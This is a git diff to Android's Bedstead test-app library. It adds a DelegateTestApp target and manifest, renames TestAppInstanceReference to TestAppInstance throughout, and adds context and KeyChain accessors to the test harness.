-    srcs: [":EmptyTestApp", ":EmptyTestApp2", ":DeviceAdminTestApp", ":LockTaskApp", ":RemoteDPCTestApp", ":SmsApp", ":AccountManagementApp"],
+    srcs: [":EmptyTestApp", ":EmptyTestApp2", ":DeviceAdminTestApp", ":LockTaskApp", ":DelegateTestApp", ":RemoteDPCTestApp", ":SmsApp", ":AccountManagementApp"],
     out: ["TestApp_Apps.res.zip"],
     tools: ["soong_zip", "index_testapps", "aapt2"],
     cmd: "mkdir -p $(genDir)/res/raw"
@@ -107,6 +107,7 @@
          + " && cp $(location :EmptyTestApp2) $(genDir)/res/raw"
          + " && cp $(location :DeviceAdminTestApp) $(genDir)/res/raw"
          + " && cp $(location :LockTaskApp) $(genDir)/res/raw"
+         + " && cp $(location :DelegateTestApp) $(genDir)/res/raw"
          + " && cp $(location :RemoteDPCTestApp) $(genDir)/res/raw"
          + " && cp $(location :SmsApp) $(genDir)/res/raw"
          + " && cp $(location :AccountManagementApp) $(genDir)/res/raw"
@@ -152,6 +153,15 @@
 }
 
 android_test_helper_app {
+    name: "DelegateTestApp",
+    static_libs: [
+        "TestApp_TestApps"
+    ],
+    manifest: "manifests/DelegateManifest.xml",
+    min_sdk_version: "28"
+}
+
+android_test_helper_app {
     name: "RemoteDPCTestApp",
     static_libs: [
         "TestApp_TestApps",
diff --git a/common/device-side/bedstead/testapp/manifests/DelegateManifest.xml b/common/device-side/bedstead/testapp/manifests/DelegateManifest.xml
new file mode 100644
index 0000000..5bd3772
--- /dev/null
+++ b/common/device-side/bedstead/testapp/manifests/DelegateManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="com.android.Delegate" android:targetSandboxVersion="2">
+
+    <application
+        android:appComponentFactory="com.android.bedstead.testapp.TestAppAppComponentFactory">
+
+        <!-- Don't allow this test app to be returned by queries unless filtered by package name -->
+        <meta-data android:name="testapp-package-query-only" android:value="true" />
+
+    </application>
+    <uses-sdk android:minSdkVersion="28" android:targetSdkVersion="28"/>
+</manifest>
\ No newline at end of file
diff --git a/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestApp.java b/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestApp.java
index 42701e5..102e8da 100644
--- a/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestApp.java
+++ b/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestApp.java
@@ -64,27 +64,27 @@
      *
      * <p>See {@link Users#instrumented()}
      */
-    public TestAppInstanceReference install() {
+    public TestAppInstance install() {
         return install(TestApis.users().instrumented());
     }
 
     /**
      * Install the {@link TestApp} on the device for the given {@link UserReference}.
      */
-    public TestAppInstanceReference install(UserReference user) {
+    public TestAppInstance install(UserReference user) {
         try {
             pkg().installBytes(user, this::apkBytes);
         } catch (NeneException e) {
             throw new NeneException("Error while installing TestApp " + this, e);
         }
 
-        return new TestAppInstanceReference(this, user);
+        return new TestAppInstance(this, user);
     }
 
     /**
      * Install the {@link TestApp} on the device for the given {@link UserHandle}.
      */
-    public TestAppInstanceReference install(UserHandle user) {
+    public TestAppInstance install(UserHandle user) {
         install(TestApis.users().find(user));
         return instance(user);
     }
@@ -124,7 +124,7 @@
      *
      * <p>This does not check if the user exists, or if the test app is installed on the user.
      */
-    public TestAppInstanceReference instance(UserHandle user) {
+    public TestAppInstance instance(UserHandle user) {
         return instance(TestApis.users().find(user));
     }
 
@@ -133,11 +133,11 @@
      *
      * <p>This does not check if the user exists, or if the test app is installed on the user.
      */
-    public TestAppInstanceReference instance(UserReference user) {
+    public TestAppInstance instance(UserReference user) {
         if (user == null) {
             throw new NullPointerException();
         }
-        return new TestAppInstanceReference(this, user);
+        return new TestAppInstance(this, user);
     }
 
     private byte[] apkBytes() {
diff --git a/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppActivities.java b/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppActivities.java
index 5654213..d95def6 100644
--- a/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppActivities.java
+++ b/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppActivities.java
@@ -30,16 +30,16 @@
  */
 public final class TestAppActivities {
 
-    final TestAppInstanceReference mInstance;
+    final TestAppInstance mInstance;
     private Set<ActivityInfo> mActivities = null;
 
-    static TestAppActivities create(TestAppInstanceReference instance) {
+    static TestAppActivities create(TestAppInstance instance) {
         TestAppActivities activities = new TestAppActivities(instance);
         return activities;
     }
 
 
-    private TestAppActivities(TestAppInstanceReference instance) {
+    private TestAppActivities(TestAppInstance instance) {
         mInstance = instance;
     }
 
@@ -53,7 +53,7 @@
         PackageManager p = TestApis.context().instrumentedContext().getPackageManager();
         try {
             PackageInfo packageInfo = p.getPackageInfo(
-                    mInstance.testApp().packageName(), /* flags= */ PackageManager.GET_ACTIVITIES);
+                    mInstance.packageName(), /* flags= */ PackageManager.GET_ACTIVITIES);
             for (android.content.pm.ActivityInfo activityInfo : packageInfo.activities) {
                 if (activityInfo.name.startsWith("androidx")) {
                     // Special case: androidx adds non-logging activities
diff --git a/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppActivitiesQueryBuilder.java b/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppActivitiesQueryBuilder.java
index 3eb3633..761dec6 100644
--- a/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppActivitiesQueryBuilder.java
+++ b/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppActivitiesQueryBuilder.java
@@ -55,7 +55,7 @@
                 return new UnresolvedTestAppActivity(mTestAppActivities.mInstance,
                         TestApis.packages().component(
                                 new ComponentName(
-                                        mTestAppActivities.mInstance.testApp().packageName(),
+                                        mTestAppActivities.mInstance.packageName(),
                                         activity.className())));
             }
         }
diff --git a/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppActivity.java b/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppActivity.java
index 2636ffd..da613e0 100644
--- a/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppActivity.java
+++ b/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppActivity.java
@@ -17,11 +17,9 @@
 package com.android.bedstead.testapp;
 
 import android.app.Activity;
-import android.content.ComponentName;
 import android.os.UserHandle;
 
 import com.android.bedstead.nene.activities.NeneActivity;
-import com.android.bedstead.nene.activities.NeneActivityDirect;
 import com.android.bedstead.nene.packages.ComponentReference;
 
 /**
@@ -32,17 +30,11 @@
  */
 public abstract class TestAppActivity extends TestAppActivityReference implements
         NeneActivity {
-    TestAppActivity(TestAppInstanceReference instance,
-            ComponentReference component) {
+    TestAppActivity(TestAppInstance instance, ComponentReference component) {
         super(instance, component);
     }
 
     @Override
-    public ComponentName getComponentName() {
-        return component().componentName();
-    }
-
-    @Override
     public UserHandle getUser() {
         return testAppInstance().user().userHandle();
     }
diff --git a/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppActivityReference.java b/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppActivityReference.java
index 2a5cb5c..fe06700 100644
--- a/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppActivityReference.java
+++ b/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppActivityReference.java
@@ -33,18 +33,18 @@
  */
 public abstract class TestAppActivityReference {
 
-    final TestAppInstanceReference mInstance;
+    final TestAppInstance mInstance;
     final ComponentReference mComponent;
 
     TestAppActivityReference(
-            TestAppInstanceReference instance,
+            TestAppInstance instance,
             ComponentReference component) {
         mInstance = instance;
         mComponent = component;
     }
 
-    /** Gets the {@link TestAppInstanceReference} this activity exists in. */
-    public TestAppInstanceReference testAppInstance() {
+    /** Gets the {@link TestAppInstance} this activity exists in. */
+    public TestAppInstance testAppInstance() {
         return mInstance;
     }
 
diff --git a/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppBinder.java b/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppBinder.java
index c220026..282b68d 100644
--- a/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppBinder.java
+++ b/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppBinder.java
@@ -36,9 +36,9 @@
 
     private static final String LOG_TAG = TestAppBinder.class.getName();
 
-    private final TestAppInstanceReference mTestAppInstance;
+    private final TestAppInstance mTestAppInstance;
 
-    public TestAppBinder(TestAppInstanceReference testAppInstance) {
+    public TestAppBinder(TestAppInstance testAppInstance) {
         mTestAppInstance = testAppInstance;
     }
 
@@ -52,7 +52,7 @@
 
         Intent bindIntent = new Intent();
         bindIntent.setComponent(new ComponentName(
-                mTestAppInstance.testApp().packageName(),
+                mTestAppInstance.packageName(),
                 bindToService.getClassName()));
 
         Log.i(LOG_TAG, "Attempting to bind to " + bindIntent);
diff --git a/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppEvents.java b/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppEvents.java
index be6f1cd..94977cc 100644
--- a/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppEvents.java
+++ b/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppEvents.java
@@ -70,247 +70,247 @@
 public class TestAppEvents implements ActivityEvents, BroadcastReceiverEvents,
         DeviceAdminReceiverEvents, ServiceEvents {
 
-    private final TestAppInstanceReference mTestApp;
+    private final TestAppInstance mTestApp;
 
-    TestAppEvents(TestAppInstanceReference testApp) {
+    TestAppEvents(TestAppInstance testApp) {
         mTestApp = testApp;
     }
 
     @Override
     public ActivityCreatedEvent.ActivityCreatedEventQuery activityCreated() {
         return ActivityCreatedEvent.queryPackage(
-                mTestApp.testApp().packageName())
+                mTestApp.packageName())
                 .onUser(mTestApp.user());
     }
 
     @Override
     public ActivityDestroyedEvent.ActivityDestroyedEventQuery activityDestroyed() {
         return ActivityDestroyedEvent.queryPackage(
-                mTestApp.testApp().packageName())
+                mTestApp.packageName())
                 .onUser(mTestApp.user());
     }
 
     @Override
     public ActivityPausedEvent.ActivityPausedEventQuery activityPaused() {
         return ActivityPausedEvent.queryPackage(
-                mTestApp.testApp().packageName())
+                mTestApp.packageName())
                 .onUser(mTestApp.user());
     }
 
     @Override
     public ActivityRestartedEvent.ActivityRestartedEventQuery activityRestarted() {
         return ActivityRestartedEvent.queryPackage(
-                mTestApp.testApp().packageName())
+                mTestApp.packageName())
                 .onUser(mTestApp.user());
     }
 
     @Override
     public ActivityResumedEvent.ActivityResumedEventQuery activityResumed() {
         return ActivityResumedEvent.queryPackage(
-                mTestApp.testApp().packageName())
+                mTestApp.packageName())
                 .onUser(mTestApp.user());
     }
 
     @Override
     public ActivityStartedEvent.ActivityStartedEventQuery activityStarted() {
         return ActivityStartedEvent.queryPackage(
-                mTestApp.testApp().packageName())
+                mTestApp.packageName())
                 .onUser(mTestApp.user());
     }
 
     @Override
     public ActivityStoppedEvent.ActivityStoppedEventQuery activityStopped() {
         return ActivityStoppedEvent.queryPackage(
-                mTestApp.testApp().packageName())
+                mTestApp.packageName())
                 .onUser(mTestApp.user());
     }
 
     @Override
     public BroadcastReceivedEvent.BroadcastReceivedEventQuery broadcastReceived() {
         return BroadcastReceivedEvent.queryPackage(
-                mTestApp.testApp().packageName())
+                mTestApp.packageName())
                 .onUser(mTestApp.user());
     }
 
     @Override
     public DeviceAdminBugreportFailedEvent.DeviceAdminBugreportFailedEventQuery bugReportFailed() {
         return DeviceAdminBugreportFailedEvent.queryPackage(
-                mTestApp.testApp().packageName())
+                mTestApp.packageName())
                 .onUser(mTestApp.user());
     }
 
     @Override
     public DeviceAdminBugreportSharedEvent.DeviceAdminBugreportSharedEventQuery bugReportShared() {
         return DeviceAdminBugreportSharedEvent.queryPackage(
-                mTestApp.testApp().packageName())
+                mTestApp.packageName())
                 .onUser(mTestApp.user());
     }
 
     @Override
     public DeviceAdminBugreportSharingDeclinedEvent.DeviceAdminBugreportSharingDeclinedEventQuery bugReportSharingDeclined() {
         return DeviceAdminBugreportSharingDeclinedEvent.queryPackage(
-                mTestApp.testApp().packageName())
+                mTestApp.packageName())
                 .onUser(mTestApp.user());
     }
 
     @Override
     public DeviceAdminChoosePrivateKeyAliasEvent.DeviceAdminChoosePrivateKeyAliasEventQuery choosePrivateKeyAlias() {
         return DeviceAdminChoosePrivateKeyAliasEvent.queryPackage(
-                mTestApp.testApp().packageName())
+                mTestApp.packageName())
                 .onUser(mTestApp.user());
     }
 
     @Override
     public DeviceAdminDisabledEvent.DeviceAdminDisabledEventQuery deviceAdminDisabled() {
         return DeviceAdminDisabledEvent.queryPackage(
-                mTestApp.testApp().packageName())
+                mTestApp.packageName())
                 .onUser(mTestApp.user());
     }
 
     @Override
     public DeviceAdminDisableRequestedEvent.DeviceAdminDisableRequestedEventQuery deviceAdminDisableRequested() {
         return DeviceAdminDisableRequestedEvent.queryPackage(
-                mTestApp.testApp().packageName())
+                mTestApp.packageName())
                 .onUser(mTestApp.user());
     }
 
     @Override
     public DeviceAdminEnabledEvent.DeviceAdminEnabledEventQuery deviceAdminEnabled() {
         return DeviceAdminEnabledEvent.queryPackage(
-                mTestApp.testApp().packageName())
+                mTestApp.packageName())
                 .onUser(mTestApp.user());
     }
 
     @Override
     public DeviceAdminLockTaskModeEnteringEvent.DeviceAdminLockTaskModeEnteringEventQuery lockTaskModeEntering() {
         return DeviceAdminLockTaskModeEnteringEvent.queryPackage(
-                mTestApp.testApp().packageName())
+                mTestApp.packageName())
                 .onUser(mTestApp.user());
     }
 
     @Override
     public DeviceAdminLockTaskModeExitingEvent.DeviceAdminLockTaskModeExitingEventQuery lockTaskModeExiting() {
         return DeviceAdminLockTaskModeExitingEvent.queryPackage(
-                mTestApp.testApp().packageName())
+                mTestApp.packageName())
                 .onUser(mTestApp.user());
     }
 
     @Override
     public DeviceAdminNetworkLogsAvailableEvent.DeviceAdminNetworkLogsAvailableEventQuery networkLogsAvailable() {
         return DeviceAdminNetworkLogsAvailableEvent.queryPackage(
-                mTestApp.testApp().packageName())
+                mTestApp.packageName())
                 .onUser(mTestApp.user());
     }
 
     @Override
     public DeviceAdminOperationSafetyStateChangedEvent.DeviceAdminOperationSafetyStateChangedEventQuery operationSafetyStateChanged() {
         return DeviceAdminOperationSafetyStateChangedEvent.queryPackage(
-                mTestApp.testApp().packageName())
+                mTestApp.packageName())
                 .onUser(mTestApp.user());
     }
 
     @Override
     public DeviceAdminPasswordChangedEvent.DeviceAdminPasswordChangedEventQuery passwordChanged() {
         return DeviceAdminPasswordChangedEvent.queryPackage(
-                mTestApp.testApp().packageName())
+                mTestApp.packageName())
                 .onUser(mTestApp.user());
     }
 
     @Override
     public DeviceAdminPasswordExpiringEvent.DeviceAdminPasswordExpiringEventQuery passwordExpiring() {
         return DeviceAdminPasswordExpiringEvent.queryPackage(
-                mTestApp.testApp().packageName())
+                mTestApp.packageName())
                 .onUser(mTestApp.user());
     }
 
     @Override
     public DeviceAdminPasswordFailedEvent.DeviceAdminPasswordFailedEventQuery passwordFailed() {
         return DeviceAdminPasswordFailedEvent.queryPackage(
-                mTestApp.testApp().packageName())
+                mTestApp.packageName())
                 .onUser(mTestApp.user());
     }
 
     @Override
     public DeviceAdminPasswordSucceededEvent.DeviceAdminPasswordSucceededEventQuery passwordSucceeded() {
         return DeviceAdminPasswordSucceededEvent.queryPackage(
-                mTestApp.testApp().packageName())
+                mTestApp.packageName())
                 .onUser(mTestApp.user());
     }
 
     @Override
     public DeviceAdminProfileProvisioningCompleteEvent.DeviceAdminProfileProvisioningCompleteEventQuery profileProvisioningComplete() {
         return DeviceAdminProfileProvisioningCompleteEvent.queryPackage(
-                mTestApp.testApp().packageName())
+                mTestApp.packageName())
                 .onUser(mTestApp.user());
     }
 
     @Override
     public DeviceAdminReadyForUserInitializationEvent.DeviceAdminReadyForUserInitializationEventQuery readyForUserInitialization() {
         return DeviceAdminReadyForUserInitializationEvent.queryPackage(
-                mTestApp.testApp().packageName())
+                mTestApp.packageName())
                 .onUser(mTestApp.user());
     }
 
     @Override
     public DeviceAdminSecurityLogsAvailableEvent.DeviceAdminSecurityLogsAvailableEventQuery securityLogsAvailable() {
         return DeviceAdminSecurityLogsAvailableEvent.queryPackage(
-                mTestApp.testApp().packageName())
+                mTestApp.packageName())
                 .onUser(mTestApp.user());
     }
 
     @Override
     public DeviceAdminSystemUpdatePendingEvent.DeviceAdminSystemUpdatePendingEventQuery systemUpdatePending() {
         return DeviceAdminSystemUpdatePendingEvent.queryPackage(
-                mTestApp.testApp().packageName())
+                mTestApp.packageName())
                 .onUser(mTestApp.user());
     }
 
     @Override
     public DeviceAdminTransferAffiliatedProfileOwnershipCompleteEvent.DeviceAdminTransferAffiliatedProfileOwnershipCompleteEventQuery transferAffiliatedProfileOwnershipComplete() {
         return DeviceAdminTransferAffiliatedProfileOwnershipCompleteEvent.queryPackage(
-                mTestApp.testApp().packageName())
+                mTestApp.packageName())
                 .onUser(mTestApp.user());
     }
 
     @Override
     public DeviceAdminTransferOwnershipCompleteEvent.DeviceAdminTransferOwnershipCompleteEventQuery transferOwnershipComplete() {
         return DeviceAdminTransferOwnershipCompleteEvent.queryPackage(
-                mTestApp.testApp().packageName())
+                mTestApp.packageName())
                 .onUser(mTestApp.user());
     }
 
     @Override
     public DeviceAdminUserAddedEvent.DeviceAdminUserAddedEventQuery userAdded() {
         return DeviceAdminUserAddedEvent.queryPackage(
-                mTestApp.testApp().packageName())
+                mTestApp.packageName())
                 .onUser(mTestApp.user());
     }
 
     @Override
     public DeviceAdminUserRemovedEvent.DeviceAdminUserRemovedEventQuery userRemoved() {
         return DeviceAdminUserRemovedEvent.queryPackage(
-                mTestApp.testApp().packageName())
+                mTestApp.packageName())
                 .onUser(mTestApp.user());
     }
 
     @Override
     public DeviceAdminUserStartedEvent.DeviceAdminUserStartedEventQuery userStarted() {
         return DeviceAdminUserStartedEvent.queryPackage(
-                mTestApp.testApp().packageName())
+                mTestApp.packageName())
                 .onUser(mTestApp.user());
     }
 
     @Override
     public DeviceAdminUserStoppedEvent.DeviceAdminUserStoppedEventQuery userStopped() {
         return DeviceAdminUserStoppedEvent.queryPackage(
-                mTestApp.testApp().packageName())
+                mTestApp.packageName())
                 .onUser(mTestApp.user());
     }
 
     @Override
     public DeviceAdminUserSwitchedEvent.DeviceAdminUserSwitchedEventQuery userSwitched() {
         return DeviceAdminUserSwitchedEvent.queryPackage(
-                mTestApp.testApp().packageName())
+                mTestApp.packageName())
                 .onUser(mTestApp.user());
     }
 
diff --git a/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppInstanceReference.java b/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppInstance.java
similarity index 89%
rename from common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppInstanceReference.java
rename to common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppInstance.java
index 248da18..cea69a3 100644
--- a/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppInstanceReference.java
+++ b/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppInstance.java
@@ -23,7 +23,10 @@
 import android.app.admin.RemoteDevicePolicyManager;
 import android.app.admin.RemoteDevicePolicyManagerWrapper;
 import android.content.BroadcastReceiver;
+import android.content.Context;
 import android.content.IntentFilter;
+import android.content.RemoteContext;
+import android.content.RemoteContextWrapper;
 import android.content.pm.CrossProfileApps;
 import android.content.pm.PackageManager;
 import android.content.pm.RemoteCrossProfileApps;
@@ -41,6 +44,9 @@
 import android.os.RemoteUserManager;
 import android.os.RemoteUserManagerWrapper;
 import android.os.UserManager;
+import android.security.KeyChain;
+import android.security.RemoteKeyChain;
+import android.security.RemoteKeyChainWrapper;
 
 import com.android.bedstead.nene.TestApis;
 import com.android.bedstead.nene.packages.ProcessReference;
@@ -61,7 +67,7 @@
  *
  * <p>The user may not exist, or the test app may not be installed on the user.
  */
-public class TestAppInstanceReference implements AutoCloseable, ConnectionListener {
+public class TestAppInstance implements AutoCloseable, ConnectionListener {
 
     private final TestApp mTestApp;
     private final UserReference mUser;
@@ -73,9 +79,9 @@
 
     /**
      * Use {@link TestApp#install} or {@link TestApp#instance} to get an instance of
-     * {@link TestAppInstanceReference}.
+     * {@link TestAppInstance}.
      */
-    public TestAppInstanceReference(TestApp testApp, UserReference user) {
+    public TestAppInstance(TestApp testApp, UserReference user) {
         if (testApp == null || user == null) {
             throw new NullPointerException();
         }
@@ -109,6 +115,13 @@
     }
 
     /**
+     * See {@link TestApp#packageName()}.
+     */
+    public String packageName() {
+       return testApp().packageName();
+    }
+
+    /**
      * The {@link UserReference} this instance refers to.
      */
     public UserReference user() {
@@ -117,7 +130,7 @@
 
     /**
      * Uninstall the {@link TestApp} from the user referenced by
-     * this {@link TestAppInstanceReference}.
+     * this {@link TestAppInstance}.
      */
     public void uninstall() {
         mTestApp.uninstall(mUser);
@@ -160,7 +173,7 @@
     /**
      * Unregister the receiver
      */
-    public TestAppInstanceReference unregisterReceiver(IntentFilter intentFilter) {
+    public TestAppInstance unregisterReceiver(IntentFilter intentFilter) {
         if (!mRegisteredBroadcastReceivers.containsKey(intentFilter)) {
             return this;
         }
@@ -191,7 +204,7 @@
      *
      * @see {@link #stopKeepAlive()}.
      */
-    public TestAppInstanceReference keepAlive() {
+    public TestAppInstance keepAlive() {
         keepAlive(/* manualKeepAlive=*/ true);
         return this;
     }
@@ -214,7 +227,7 @@
      *
      * <p>This will not kill the app immediately. To do that see {@link #stop()}.
      */
-    public TestAppInstanceReference stopKeepAlive() {
+    public TestAppInstance stopKeepAlive() {
         mKeepAliveManually = false;
         connector().stopManualConnectionManagement();
         return this;
@@ -226,7 +239,7 @@
 //     *
 //     * <p>This will also stop keeping the target app alive (see {@link #stopKeepAlive()}.
 //     */
-//    public TestAppInstanceReference stop() {
+//    public TestAppInstance stop() {
 //        stopKeepAlive();
 //
 //        ProcessReference process = mTestApp.pkg().runningProcess(mUser);
@@ -342,9 +355,27 @@
         return new RemoteAccountManagerWrapper(mConnector);
     }
 
+    /**
+     * Access the application {@link Context} using this test app.
+     *
+     * <p>Almost all methods are available. Those that are not will be missing from the interface.
+     */
+    public RemoteContext context() {
+        return new RemoteContextWrapper(mConnector);
+    }
+
+    /**
+     * Access the {@link KeyChain} using this test app.
+     *
+     * <p>Almost all methods are available. Those that are not will be missing from the interface.
+     */
+    public RemoteKeyChain keyChain() {
+        return new RemoteKeyChainWrapper(mConnector);
+    }
+
     @Override
     public String toString() {
-        return "TestAppInstanceReference{"
+        return "TestAppInstance{"
                 + "testApp=" + mTestApp
                 + ", user=" + mUser
                 + ", registeredBroadcastReceivers=" + mRegisteredBroadcastReceivers
diff --git a/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/UnresolvedTestAppActivity.java b/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/UnresolvedTestAppActivity.java
index e3cbd82..6b268dd 100644
--- a/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/UnresolvedTestAppActivity.java
+++ b/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/UnresolvedTestAppActivity.java
@@ -24,7 +24,7 @@
  * A reference to an {@link Activity} in a {@link TestApp}.
  */
 public final class UnresolvedTestAppActivity extends TestAppActivityReference {
-    UnresolvedTestAppActivity(TestAppInstanceReference instance,
+    UnresolvedTestAppActivity(TestAppInstance instance,
             ComponentReference component) {
         super(instance, component);
     }
diff --git a/common/device-side/bedstead/testapp/src/processor/main/java/com/android/bedstead/testapp/processor/Processor.java b/common/device-side/bedstead/testapp/src/processor/main/java/com/android/bedstead/testapp/processor/Processor.java
index 4ff1c6e..03fbceb 100644
--- a/common/device-side/bedstead/testapp/src/processor/main/java/com/android/bedstead/testapp/processor/Processor.java
+++ b/common/device-side/bedstead/testapp/src/processor/main/java/com/android/bedstead/testapp/processor/Processor.java
@@ -17,8 +17,7 @@
 package com.android.bedstead.testapp.processor;
 
 
-import static java.util.stream.Collectors.toList;
-
+import com.android.bedstead.testapp.processor.annotations.FrameworkClass;
 import com.android.bedstead.testapp.processor.annotations.TestAppReceiver;
 import com.android.bedstead.testapp.processor.annotations.TestAppSender;
 
@@ -33,12 +32,16 @@
 import com.squareup.javapoet.JavaFile;
 import com.squareup.javapoet.MethodSpec;
 import com.squareup.javapoet.ParameterSpec;
+import com.squareup.javapoet.TypeName;
 import com.squareup.javapoet.TypeSpec;
 
 import java.io.IOException;
 import java.io.PrintWriter;
 import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.HashSet;
 import java.util.List;
+import java.util.Map;
 import java.util.Set;
 import java.util.stream.Collectors;
 
@@ -51,6 +54,7 @@
 import javax.lang.model.element.Modifier;
 import javax.lang.model.element.TypeElement;
 import javax.lang.model.element.VariableElement;
+import javax.lang.model.type.MirroredTypeException;
 import javax.lang.model.type.MirroredTypesException;
 import javax.lang.model.type.TypeKind;
 import javax.lang.model.type.TypeMirror;
@@ -70,10 +74,10 @@
             ClassName.get("com.android.bedstead.nene.utils", "Retry");
     private static final ClassName CONTEXT_CLASSNAME =
             ClassName.get("android.content", "Context");
-    private static final ClassName NENE_ACTIVITY_CLASSNAME =
+    private static final ClassName REMOTE_ACTIVITY_CLASSNAME =
             ClassName.get(
-                    "com.android.bedstead.nene.activities",
-                    "NeneActivityDirect");
+                    "android.app",
+                    "RemoteActivity");
     private static final ClassName TEST_APP_ACTIVITY_CLASSNAME =
             ClassName.get(
                     "com.android.bedstead.testapp",
@@ -105,10 +109,6 @@
     private static final ClassName CROSS_PROFILE_CONNECTOR_CLASSNAME =
             ClassName.get("com.google.android.enterprise.connectedapps",
                     "CrossProfileConnector");
-    private static final ClassName UNAVAILABLE_PROFILE_EXCEPTION_CLASSNAME =
-            ClassName.get(
-                    "com.google.android.enterprise.connectedapps.exceptions",
-                    "UnavailableProfileException");
     private static final ClassName PROFILE_RUNTIME_EXCEPTION_CLASSNAME =
             ClassName.get(
                     "com.google.android.enterprise.connectedapps.exceptions",
@@ -117,9 +117,8 @@
             ClassName.get(
                     "com.android.bedstead.nene.exceptions",
                     "NeneException");
-    private static final ClassName TEST_APP_INSTANCE_REFERENCE_CLASSNAME =
-            ClassName.get("com.android.bedstead.testapp",
-                    "TestAppInstanceReference");
+    private static final ClassName TEST_APP_INSTANCE_CLASSNAME =
+            ClassName.get("com.android.bedstead.testapp", "TestAppInstance");
     private static final ClassName COMPONENT_REFERENCE_CLASSNAME =
             ClassName.get("com.android.bedstead.nene.packages",
                     "ComponentReference");
@@ -132,6 +131,9 @@
     private static final ClassName REMOTE_DEVICE_POLICY_MANAGER_PARENT_WRAPPER_CLASSNAME =
             ClassName.get("android.app.admin",
                     "RemoteDevicePolicyManagerParentWrapper");
+    private static final ClassName REMOTE_CONTENT_RESOLVER_WRAPPER_CLASSNAME =
+            ClassName.get("android.content",
+                    "RemoteContentResolverWrapper");
 
     /**
      * Extract classes provided in an annotation.
@@ -140,23 +142,34 @@
      * extracted for.
      */
     public static List<TypeElement> extractClassesFromAnnotation(Types types, Runnable runnable) {
-        // From https://docs.oracle.com/javase/8/docs/api/javax/lang/model/AnnotatedConstruct.html
-        // "The annotation returned by this method could contain an element whose value is of type
-        // Class. This value cannot be returned directly: information necessary to locate and load a
-        // class (such as the class loader to use) is not available, and the class might not be
-        // loadable at all. Attempting to read a Class object by invoking the relevant method on the
-        // returned annotation will result in a MirroredTypeException, from which the corresponding
-        // TypeMirror may be extracted."
         try {
             runnable.run();
         } catch (MirroredTypesException e) {
             return e.getTypeMirrors().stream()
                     .map(t -> (TypeElement) types.asElement(t))
-                    .collect(toList());
+                    .collect(Collectors.toList());
         }
         throw new AssertionError("Could not extract classes from annotation");
     }
 
+    /**
+     * Extract a class provided in an annotation.
+     *
+     * <p>The {@code runnable} should call the annotation method that the class is being extracted
+     * for.
+     */
+    public static TypeElement extractClassFromAnnotation(Types types, Runnable runnable) {
+        try {
+            runnable.run();
+        } catch (MirroredTypeException e) {
+            return e.getTypeMirrors().stream()
+                    .map(t -> (TypeElement) types.asElement(t))
+                    .findFirst()
+                    .get();
+        }
+        throw new AssertionError("Could not extract class from annotation");
+    }
+
     @Override
     public SourceVersion getSupportedSourceVersion() {
         return SourceVersion.latest();
@@ -168,7 +181,7 @@
 
         TypeElement neneActivityInterface =
                 processingEnv.getElementUtils().getTypeElement(
-                        NENE_ACTIVITY_CLASSNAME.canonicalName());
+                        REMOTE_ACTIVITY_CLASSNAME.canonicalName());
 
         Set<? extends Element> receiverAnnotatedElements =
                 roundEnv.getElementsAnnotatedWith(TestAppReceiver.class);
